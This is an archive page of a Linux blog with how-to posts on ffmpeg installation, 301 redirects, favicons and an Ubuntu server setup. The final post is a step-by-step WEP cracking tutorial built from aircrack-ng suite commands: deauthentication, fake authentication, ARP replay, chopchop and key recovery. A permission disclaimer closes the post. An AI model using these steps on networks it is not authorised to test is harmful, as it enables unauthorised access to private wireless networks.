Linux and Open Source Blog

  • Home
  • WordPress Plugins
  • About
  • Contact

Category Archives: how to

Installing ffmpeg on dreamhost

Posted on November 6, 2007 by Linewbie.com Posted in guides, how to .

On Friday I went through the process of installing ffmpeg on dreamhost. Ffmpeg is a free, open source multimedia system and command line tool that can be used to encode and decode from and to several different sources. My interest in using FFmpeg, as aformentioned, is to be able to convert incoming 3gp video from mobile phones to flash video and extract thumbnails of each video uploaded. In order to use ffmpeg to convert to Flash video, however, you also have to download and install LAME, an open source MP3 encoder (which may be illegal…but does it really matter?). Ffmpeg does not support MP3 audio, which is what flash uses. Before installing ffmpeg, you should download and install lame.

As a rule, dreamhost does not allow individuals to install anything with the path /usr/local/lib/ so you have to use the –exec-prefix and –prefix command in the configuration: ./configure –exec-prefix=/home/username/lame –prefix=/home/username/lame to install it to a local folder. This is the same with the ffmpeg instalation, however there are a few differences. You have to enable lame as well as amr_nb, amr_nb_fixed, amr_wb and amr_if2. Amr is apparently the audio codec for certain kinds of mobile phone video. We were testing using video from a Nokia 6682 but further testing needs to be done to see what codecs are used by other phones/carriers. In order to enable Amr you have to download the amr software. Unfortunately, I didn’t write down the download urls for amr, but once you issus the following command: ./configure –prefix=/home/username/ffmpeg –enable-mp3lame –extra-cflags=-I/home/username/lame/include –extra-ldflags=-L/home/username/lame/lib –enable-amr_nb –enable-amr_nb-fixed –enable-amr_wb –enable-amr_if2 a message comes up that instructs you on where to go and what location to install the necessary files to.

Unfortunately we ran into a problem early on. The C compiler was failing to compile because it was trying to install ffmpeg to a tmp folder instead of to the ffmpeg folder we had created. In order to prevent this, we had to comment out this section of the configure file:

# set temporary file name
#if test ! -z “$TMPDIR” ; then
# TMPDIR1=”${TMPDIR}”
#elif test ! -z “$TEMPDIR” ; then
# TMPDIR1=”${TEMPDIR}”
#else
#TMPDIR1=”/home/username/tmp”
#fi

You also have to make the following changes to the makefile:
CFLAGS = -Wall -I. $(CFLAGS_$(MODE)) -D$(VAD) -DMMS_IO and
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/catmindeye/lame/lib (which tells ffmpeg where to find the lame files).

With ffmpeg successfully installed, our next step is to include code in our perl popper that converts the incoming video to flash and stores it in the database. Calling ffmpeg from perl can be done using the exec function which allows you to issue a system command. You then can incorporate the following commands: (from Shawn’s Producing Participatpry Media class handout)

ffmpeg -i inputfile -t 0.001 -ss 10 -s 100×100 outputfile%d.jpg (creataes thumnbnails- replace inputfile with the name of your movie file, the number after -t is the duration (in seconds), the number after -ss is the starting point in seconds, the value after -s is the width x height and outputfile is the name of the outputfile. This command will create as many frames of JPEGs as it needs to meet the assigned duration)

ffmpeg -i inputfile -acodec mp3 -ab 32 -ac 1 outputfile.flv (replace inputfile with the name of your movie file, the 32 is the bitrate of the audio, the 1 is the number of audio channels and outputfile.flv is the output file name- make sure you keep .flv)

Once we have tested the converting of video on the fly we will post code.

One thing I forgot to mention…in order for the audio to play correctly when uploaded and converted from 3gp (mobile phones) you have to include -ar 44100 in the following command:

ffmpeg -i inputfile -acodec mp3 -ab 32 -ac 1 outputfile.flv

This was discovered as a result of testing from a Nokia 6682.

Click here to sign up with DreamHost

 

Leave a comment .
Tags: dream host, Dreamhost, dreamhost ffmpeg, ffmpeg, install ffmpeg, php-ffmpeg .

How to make your site Search Engine Friendly with 301 Redirect

Posted on October 24, 2007 by Linewbie.com Posted in guides, how to, tips, tutorials .

301 Redirect

301 redirect is the most efficient and Search Engine Friendly method for webpage redirection. It’s not that hard to implement and it should preserve your search engine rankings for that particular page. If you have to change file names or move pages around, it’s the safest option. Also it is essential for SEO purposes to redirect your “domain.com” address to “www.domain.com”, I will explain why in the www redirect section below. The code “301” is interpreted as “moved permanently”.

 

IIS Redirect

  • In internet services manager, right click on the file or folder you wish to redirect
  • Select the radio titled “a redirection to a URL”.
  • Enter the redirection page
  • Check “The exact url entered above” and the “A permanent redirection for this resource”
  • Click on ‘Apply’

ColdFusion Redirect

<.cfheader statuscode=”301″ statustext=”Moved permanently”>
<.cfheader name=”Location” value=”http://www.new-url.com”>

 

PHP Redirect

<?
Header( “HTTP/1.1 301 Moved Permanently” );
Header( “Location: http://www.new-url.com” );
?>

 

ASP Redirect

<%@ Language=VBScript %>
<%
Response.Status=”301 Moved Permanently”;
Response.AddHeader(“Location”,”http://www.new-url.com/”);
%>

 

ASP .NET Redirect

<script runat=”server”>
private void Page_Load(object sender, System.EventArgs e)
{
Response.Status = “301 Moved Permanently”;
Response.AddHeader(“Location”,”http://www.new-url.com”);
}
</script>

 

JSP (Java) Redirect

<%
response.setStatus(301);
response.setHeader( “Location”, “http://www.new-url.com/” );
response.setHeader( “Connection”, “close” );
%>

 

CGI PERL Redirect

$q = new CGI;
print $q->redirect(“http://www.new-url.com/”);

 

Ruby on Rails Redirect

def old_action
headers[“Status”] = “301 Moved Permanently”
redirect_to “http://www.new-url.com/”
end

 

Redirect Old domain to New domain

It is essential to redirect your “domain.com” address to “www.domain.com”, because search engines will see these url as two separate sites, therefore your link popularity will be split between the two site and possibly get penalized for duplicate content on your site. To implement the redirect, just create a .htaccess file with the below code, it will ensure that all your directories and pages of your old domain will get correctly redirected to your new domain.
The .htaccess file needs to be placed in the root directory of your old website (i.e the same directory where your index file is placed)

Options +FollowSymLinks
RewriteEngine on
RewriteRule (.*) http://www.newdomain.com/$1 [R=301,L]

Please REPLACE www.newdomain.com in the above code with your actual domain name.

In addition to the redirect I would suggest that you contact every backlinking site to modify their backlink to point to your new website.

Note* This .htaccess method of redirection works ONLY on Linux servers having the Apache Mod-Rewrite moduled enabled.

 

Redirect to www

Create a .htaccess file with the below code, it will ensure that all requests coming in to domain.com will get redirected to www.domain.com
The .htaccess file needs to be placed in the root directory of your old website (i.e the same directory where your index file is placed)

Options +FollowSymlinks
RewriteEngine on
rewritecond %{http_host} ^domain.com [nc]
rewriterule ^(.*)$ http://www.domain.com/$1 [r=301,nc]

Please REPLACE domain.com and www.newdomain.com with your actual domain name.

Note* This .htaccess method of redirection works ONLY on Linux servers having the Apache Mod-Rewrite moduled enabled.

 

How to Redirect HTML

Please refer to section titled ‘How to Redirect with htaccess’, if your site is hosted on a Linux Server and ‘IIS Redirect’, if your site is hosted on a Windows Server.

Test your redirection

You can Test your redirection with this simple Search Engine Friendly Redirect Checker

Or to be 100% sure and see the redirection in action use the HTTP Server Header Checker. This tool will show you whether the 301 redirect is being provided by the server. This is what a search engine will see when it visits the site. The result should look like the following areas in red:

 

#1 Server Response: http://example.com
HTTP Status Code: HTTP/1.1 301 Moved Permanently

Date: Wed, 14 Mar 2007 22:49:28 GMT
Server: Apache/1.3.27 (Unix) PHP/4.4.1 FrontPage/5.0.2.2510 mod_ssl/2.8.14 OpenSSL/0.9.6b
Location: http://www.example.com/
Connection: close
Content-Type: text/html; charset=iso-8859-1
Redirect Target: http://www.example.com/

 

#2 Server Response: http://www.example.com/
HTTP Status Code: HTTP/1.1 200 OK

Date: Wed, 14 Mar 2007 22:49:28 GMT
Server: Apache/1.3.27 (Unix) PHP/4.4.1 FrontPage/5.0.2.2510 mod_ssl/2.8.14 OpenSSL/0.9.6b
Connection: close
Content-Type: text/html

 

 

5 Comments .
Tags: .net redirect, 301 Redirect, apache redirect, asp redirect, cgi redirect, cold fusion redirect, html redirect, iis redirect, jsp redirect, moved permanently, perl redirect, php redirect, Redirect, redirect www, ruby on rails redirect, search engine friendly, SEF, sef redirect, SEO, seo redirect .

How to create an animated favicon

Posted on October 24, 2007 by Linewbie.com Posted in cool stuff, guides, how to, random stuff .

What is a favicon?

A favicon (short for “favorites icon”), also known as a page icon, is an icon associated with a particular website or webpage. A web designer can create such an icon, and many graphical web browsers —such as recent versions of Internet Explorer, Firefox, Mozilla, Opera, Safari, iCab, AOL Explorer, Epiphany, Konqueror, and Flock—can then make use of them. Browsers that support favicons may display them in the browser’s URL bar, next to the site’s name in lists of bookmarks, and next to the page’s title in a tabbed document interface.

Guidelines

The following are guidelines for displaying a favicon on your website:

  • The link elements must be inside the head element (between the opening and closing head tag) in the HTML.
  • The image can usually be in any image format supported by the web browser, the major exception being IE, which only supports ico.
  • The .ico file format will be read correctly by all browsers that can display favicons.
  • Use the appropriate color depths (ICO: 16X16;4, 8, 24 bpp—i.e. 16, 256 and 16 million colors GIF: use 16×16 in 256 colors PNG: use 16×16 in either 256 colors or 24-bit).
  • I have found that you do not have to place html on your website.  You can just place a favicon.ico in the root directory of your website, but it may take longer to show up in some browers.
    • http://pipa.ws
    • http://www.pod1.com/
    • http://schestowitz.com/
  • Creating an animated favicon

    Animated favcons are easy to create.  After following the guidelines from above, you just need to create an animated gif and rename it: favicon.ico.  It is currently not supported in Internet Explorer.

    Examples of sites that have animated favicons:

2 Comments .
Tags: animated favicon, favicon, favicon ico, how to create favicon .

How to build the Perfect Server – with Ubuntu Gutsy Gibbon (Ubuntu 7.10)

Posted on October 18, 2007 by Linewbie.com Posted in applications/software, debian/ubuntu based, guides, how to, servers .

This tutorial shows how to set up a Ubuntu Gutsy Gibbon (Ubuntu 7.10) based server that offers all services needed by ISPs and hosters: Apache web server (SSL-capable), Postfix mail server with SMTP-AUTH and TLS, BIND DNS server, Proftpd FTP server, MySQL server, Courier POP3/IMAP, Quota, Firewall, etc. This tutorial is written for the 32-bit version of Ubuntu Gutsy Gibbon, but should apply to the 64-bit version with very little modifications as well.

I will use the following software:

  • Web Server: Apache 2.2
  • Database Server: MySQL 5.0
  • Mail Server: Postfix
  • DNS Server: BIND9
  • FTP Server: proftpd
  • POP3/IMAP: I will use Maildir format and therefore install Courier-POP3/Courier-IMAP.
  • Webalizer for web site statistics

In the end you should have a system that works reliably, and if you like you can install the free webhosting control panel ISPConfig (i.e., ISPConfig runs on it out of the box).

I want to say first that this is not the only way of setting up such a system. There are many ways of achieving this goal but this is the way I take. I do not issue any guarantee that this will work for you!

1 Requirements

To install such a system you will need the following:

  • the Ubuntu Gutsy Gibbon server CD, available here: http://releases.ubuntu.com/7.10/ubuntu-7.10-server-i386.iso
  • a fast internet connection.

2 Preliminary Note

In this tutorial I use the hostname server1.example.com with the IP address 192.168.0.100 and the gateway 192.168.0.1. These settings might differ for you, so you have to replace them where appropriate.

3 The Base System

Insert your Ubuntu install CD into your system and boot from it. Select Install to the hard disk:

The installation starts, and first you have to choose your language:

Then select your location:

Choose a keyboard layout (you will be asked to press a few keys, and the installer will try to detect your keyboard layout based on the keys you pressed):

The installer checks the installation CD, your hardware, and configures the network with DHCP if there is a DHCP server in the network:

Continue reading →

1 Comment .
Tags: lamp server, perfect lamp, perfect lamp server, perfect server, perfect ubuntu, ubuntu, ubuntu server .

Cracking WEP: The ultimate howto guide | wireless security series

Posted on April 28, 2006 by Linewbie.com Posted in guides, how to, security .

##### Preparation #####

1. Download BackTrack (http://www.remote-exploit.org/index.php/BackTrack_Downloads)

2. Install BackTrack to your hd or just boot the live cd (username: root, password: toor; Don’t froget to start the gui: type in startx on the command lien after logging in).

3. Start up a terminal and set your wireless interface in monitor mode.

iwconfig [wireless interface] mode monitor

* to find out what your wireless interface is, type iwconfig and press enter. All interfaces will show up (mine is ath0).

4. Start airodump by typing in the terminal (press enter after typing it in)

airodump-ng –ivs -w capture [wireless interface]

5. When airodump found the network you want to hack it’ll show up. Note the BSSID (acces point’s mac address) and the SSID (the access point’s name). Don’t close this terminal window or stop airodump from running before you have the wep key!

##### Generating data, method one: There are clients visible in airodump associated to the network #####

1. Open a new terminal window and type in (press enter after typing in):

aireplay-ng [wireless interface] –arpreplay -e [the SSID you found with airodump] -b [the BSSID you found wth airodump] -h [the client’s MAC adress]

2. Open another new terminal window and type in (press enter after typing in):

aireplay-ng [wireless interface] –deauth 10 -a [the client’s MAC adress]

3. Wait a long time, aproximatly 10 minutes. You should see the data field in airodump raising. If you have around 500k of data, go to the cracking step of this tutorial.

##### Generating data, method two: There are NO clients visible in airodump associated to the network #####

1. Open a new terminal window and type in (do NOT press the enter button!)

aireplay-ng [wireless interface] –arpreplay -e [the SSID which you found with airodump] -b [the BSSID you found wth airodump] -h 01:02:03:04:05:06

2. Open another new terminal window and type in (do NOT press the enter button!):

aireplay-ng [wireless interface] –fakeauth -e [the SSID which you found with airodump] -a [the BSSID you found wth airodump] -h 01:02:03:04:05:06

3. Press enter in the fakeauth terminal and after it started to fakeauth, press enter as quickly as possible in the arpreplay window.

3. Open another new terminal window and type in (press enter after typing in):

aireplay-ng [wireless interface] –deauth 10 -a 01:02:03:04:05:06

4. Wait a long time, aproximatly 10 minutes. You should see the data field in airodump raising. If you have around 500k of data, go to the cracking step of this tutorial.

##### If the above two methods aren’t working, try this #####

1. Open a new terminal window and type in (press the enter button after typing it in):

aireplay-ng [wireless interface] –fakeauth -e [the SSID which you found with airodump] -a [the BSSID you found wth airodump] -h 01:02:03:04:05:06

2. Open another new terminal window and type in (press the enter button after typing it in):

aireplay-ng [wireless interface] –chopchop -e [the SSID which you found with airodump] -b [the BSSID you found wth airodump] -h 01:02:03:04:05:06

3. The chopchop starts reading packages. When it finds one, it’ll ask you to use it. Choose yes. Wait a few seconds/minutes and remember the filename that is given to you at the end.

4. Open Ethereal (click the icon in the bottom left corner > Backtrack > Sniffers > Ethereal) and open the xor file made with the chopchop attack in Ethereal (it’s located in the home folder)

5. Look with Ethereal in the captured file. Try to find the source ip and the destination ip: write those addresses down somewhere.

6. open a terminal and type in (press enter after typing in):

arpforge-ng [the name of the xor file from the chopchop attack] 1 [the BSSID you found wth airodump] 01:02:03:04:05:06 [the source ip] [the destination ip] arp.cap

7. In a new or in the same terinal window, type in (and press enter):

aireplay-ng -2 ath0 -r arp.cap

5. Wait a long time, aproximatly 10 minutes. You should see the data field in airodump raising. If you have around 500k of data, go to the cracking step of this tutorial.

##### The actual cracking of the WEP key #####

1. Open a new terminal window and type in

airecrack-ng -n 64 capture-01.ivs (for a 64 bits encryption, enter after typing)

or

airecrack-ng -n 128 capture-01.ivs (for a 128 bits encryption, enter after typing)

If you don’t know how strong the encryption is, type in both in different terminals and start a third terminal. Type in this code:

airecrack-ng capture-01.ivs

2. Wait a few minutes. Check the terminal(s). The code will automaticly show up if found. Keep airodump running!

##### Disclaimer #####

I don’t think have to mention that you need written permission from the owner of the network before you are allowed to start cracking his wep or even before you are allowed to capture packages. Just try it with your own network. You’ll learn a lot about it. But never ever try it with another network than your own.

##### Donations #####

I hope you enjoyed reading this guide. I did enjoy writing it, but I really don’t enjoy paying the bills for hosting and bandwidth. Please help me keeping this site up and buy some funny t-shirts from my t-shirt store (the link is on the navigation menu on top of this website).

Thanks.

2 Comments .
Tags: wep, wep cracking, wep cracking guide, wireless cracking, wireless security .
« Previous Page

Recent Posts

  • Does an un-confirmed Bitcoin transaction expire?
  • Looting of the Fox: The Story of Sabotage at ShapeShift
  • Decentralization, Scalability, and Fault Tolerance of Bitcoin
  • Stripe will soon accept Bitcoin payments
  • Zynga announces Bitcoin acceptance in game
  • How to import very large sql dump via phpmyadmin
  • How to compare the content of two folders automatically
  • Top 5 reasons to start experimenting with Linux
  • The day our mind became open sourced
  • Mark Shuttleworth wants to turn canonical (ubuntu) into the next Apple Inc.

Categories

  • applications/software (26)
    • browsers (2)
    • development (1)
    • information management (1)
    • Mobility (1)
    • multimedia (5)
    • office suites (2)
    • security (6)
    • servers (6)
    • system (2)
  • audio/video/pics (3)
  • Bitcoin (3)
  • books & literature (1)
  • cms/portals (1)
  • desktop environments (7)
    • gnome (2)
    • kde (5)
  • events/shows (3)
    • interviews (1)
    • people (1)
    • surveys (1)
  • games & gaming (2)
  • general topics (4)
  • guides (112)
    • how to (105)
    • tips (87)
    • tutorials (86)
  • hardware (8)
    • desktop & laptop pc (5)
    • gadgets & mobiles (2)
  • howtoforge (47)
  • internet/web (4)
    • design & development (2)
  • linux and open source blog (49)
  • linux.com (76)
  • linux/unix/os distros (113)
    • debian/ubuntu based (10)
    • mac/osx (2)
    • other distros (3)
  • news (217)
  • open source (8)
    • business & foss (2)
  • other (26)
    • uncategorized (26)
  • Programming (3)
    • PHP (2)
  • quotes & thoughts (10)
  • random stuff (4)
    • cool stuff (3)
    • funny stuff (1)
  • review/preview/tests (7)
  • wordpress/blogging (3)

Archives

  • July 2016
  • April 2016
  • January 2015
  • April 2014
  • January 2014
  • November 2013
  • February 2013
  • November 2012
  • April 2012
  • March 2012
  • January 2012
  • December 2011
  • August 2011
  • March 2008
  • February 2008
  • January 2008
  • December 2007
  • November 2007
  • October 2007
  • September 2007
  • August 2007
  • July 2007
  • June 2007
  • May 2007
  • April 2006

Recent Posts

  • Does an un-confirmed Bitcoin transaction expire?
  • Looting of the Fox: The Story of Sabotage at ShapeShift
  • Decentralization, Scalability, and Fault Tolerance of Bitcoin
  • Stripe will soon accept Bitcoin payments
  • Zynga announces Bitcoin acceptance in game
  • How to import very large sql dump via phpmyadmin
  • How to compare the content of two folders automatically
  • Top 5 reasons to start experimenting with Linux
  • The day our mind became open sourced
  • Mark Shuttleworth wants to turn canonical (ubuntu) into the next Apple Inc.

Categories

  • applications/software (26)
    • browsers (2)
    • development (1)
    • information management (1)
    • Mobility (1)
    • multimedia (5)
    • office suites (2)
    • security (6)
    • servers (6)
    • system (2)
  • audio/video/pics (3)
  • Bitcoin (3)
  • books & literature (1)
  • cms/portals (1)
  • desktop environments (7)
    • gnome (2)
    • kde (5)
  • events/shows (3)
    • interviews (1)
    • people (1)
    • surveys (1)
  • games & gaming (2)
  • general topics (4)
  • guides (112)
    • how to (105)
    • tips (87)
    • tutorials (86)
  • hardware (8)
    • desktop & laptop pc (5)
    • gadgets & mobiles (2)
  • howtoforge (47)
  • internet/web (4)
    • design & development (2)
  • linux and open source blog (49)
  • linux.com (76)
  • linux/unix/os distros (113)
    • debian/ubuntu based (10)
    • mac/osx (2)
    • other distros (3)
  • news (217)
  • open source (8)
    • business & foss (2)
  • other (26)
    • uncategorized (26)
  • Programming (3)
    • PHP (2)
  • quotes & thoughts (10)
  • random stuff (4)
    • cool stuff (3)
    • funny stuff (1)
  • review/preview/tests (7)
  • wordpress/blogging (3)

Archives

  • July 2016
  • April 2016
  • January 2015
  • April 2014
  • January 2014
  • November 2013
  • February 2013
  • November 2012
  • April 2012
  • March 2012
  • January 2012
  • December 2011
  • August 2011
  • March 2008
  • February 2008
  • January 2008
  • December 2007
  • November 2007
  • October 2007
  • September 2007
  • August 2007
  • July 2007
  • June 2007
  • May 2007
  • April 2006
Privacy Policy

Est. 2002

linewbie.com serving the linux and open source community since April 09, 2002

CyberChimps WordPress Themes

© Linux and Open Source Blog